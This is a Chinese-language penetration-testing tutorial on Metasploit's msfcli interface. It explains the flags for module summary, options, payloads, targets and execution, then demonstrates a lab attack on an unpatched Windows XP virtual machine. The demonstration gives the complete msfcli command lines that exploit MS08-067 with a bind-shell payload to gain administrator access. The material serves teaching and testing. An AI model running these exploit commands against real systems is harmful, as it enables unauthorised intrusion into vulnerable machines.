- A+
Metasploit中提供了各种各样的接口。当然,各个接口程序都有他们各自的优点和缺点。接下来,我要对Metasploit中所有的接口程序做解释和实验。Metasploit同时也提供了一些exploit和payloads等,同时还要用到数据库做扫描。 我除了查看Metasploit的官方文档之外,也同时查看了网友们的一些评论,并且一一做了实验。以确保这篇文章的正确性。
Msfcli之原理讲解
Msfcli接口程序可以让用户直接利用,而且不用启动msfconsole。这个接口程序可以迅速的对某一操作系统迅速的发动攻击,适合批量化操作或者渗透。这个接口程序有那么几个常用的参数。
-h 查看帮助 S 显示模块信息 P 可用的payloads 0 选项 T 攻击目标 E 开始执行
一般情况下,打开命令行窗口,输入“msfcli -h”就可以查看Msfcli的帮助信息。但是在我操作的时候遇到了特殊情况。大概意思就是msfcli已经被metasploit官方团队弃用了,建议直接使用msfconsole。Msfcli在2015年6月18日的时候会被metasploit官方团队移除。但是依然可以使用,不用管那么多。
这里有一篇文章解释了-h里面的参数。—>戳我!
Mode Description —- ———– (A)dvanced Show available advanced options for this module #显示该模块的高级选项 (AC)tions Show available actions for this module #显示该模块的详细设置操作选项 (C)heck Run the check routine of the selected module #运行选择的模块进行检测 (E)xecute Execute the selected module #执行选择的模块 (H)elp You’re looking at it baby! #显示msfcli的帮助信息 (I)DS Evasion Show available ids evasion options for this module #显示该模块的ids (M)issing Show empty required options for this module #查看必须的操作选项有哪些没有设置 (O)ptions Show available options for this module #查看可用的选项 (P)ayloads Show available payloads for this module #查看模块可用的payload模块 (S)ummary Show information about this module #显示该模块的详细信息 (T)argets Show available targets for this exploit module #显示该溢出模块针对的目标类型
下面来说一下这些主要的参数吧。请大家注意看我的截图,因为所有的指令例子都在截图里面。
S就是show的开头字母大写。这个参数一般用来说明一些利用模块的信息
O就是option的开头字母大写。这个参数的主要目的是查看利用模块的详细选项和选项的说明。
P是payload的开头字母大写,其主要目的就是列出这个利用模块可以利用哪些payload。
T则是显示可以攻击的类型。比如这个漏洞模块如果利用了这个payload,那么究竟可以攻击哪些系统。而T就是显示出可以攻击的系统类型。
这里需要注意了!msfcli里面的O参数在不同的位置,得出的结果也不同。前面加O参数是exploit的选项。如果你选择了payload之后再加上O参数,得到的则是payload和exploit的选项!我的建议是在选择完payload后再使用O参数,避免太过麻烦。
Exploit:
Payload:
E就是exploit的开头字母大写,意思就是执行。剩下的只需要设置好通过O参数得到的设置信息,同时也选择好T参数得到的选项。再在末尾加上E,然后回车就可以了。
下面我将会来演示一个实战来证明上面这些参数是否可用。
Msfcli之实战
我在虚拟机上配置好了一个没有打补丁的XP系统,系统版本是SP3,语言是英文。我打算利用ms08_067_netapi利用模块对这个XP系统进行渗透。
查看ms08_067_netapi模块的详细信息
首先先打开kali系统,同时打开终端。直接输入下面的指令查看这个模块的详细信息。
指令:
msfcli windows/smb/ms08_067_netapi S
大家有没有发现,这些详细信息里面已经有了这个利用模块的选项信息和攻击目标的信息,甚至还提供了payload的信息,但是payload的信息不太完全,我还要获取payload的名称等信息。而且还要得到payload的选项。
查看ms08_067_netapi可以加载的负荷或者payload
继续在终端里输入以下指令:
msfcli windows/smb/ms08_067_netapi P
之后会列出这个利用模块可以加载的payload的名称,和这些payload的描述。我决定用windows/shell/bind_tcp这个payload
因为在S参数的已经列出了T参数,所以接下来我就不再使用T参数,而是直接查看payload的选项。
指令:
msfcli windows/smb/ms08_067_netapi payload=windows/shell/bind_tcp target=0 O
万事俱备,只欠东风!现在只要把payload的设置信息填写一下,再加上E,然后回车就可以成功渗透那台XP系统。那台XP系统的IP地址是192.168.117.128。而我们只需要用到payload的选项。
输入以下指令后就可以得到XP系统的administrator权限
指令:
msfcli windows/smb/ms08_067_netapi payload=windows/shell/bind_tcp target=0 RHOST=192.168.117.128 LPORT=4444 E
成功渗透进了XP页面。
结语:这集我们了解了一些实战内容,下集将给大家带来一些关于databases的内容,敬请期待!
* 作者/Arthur和lazynms,整理/FreeBuf小编banish,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)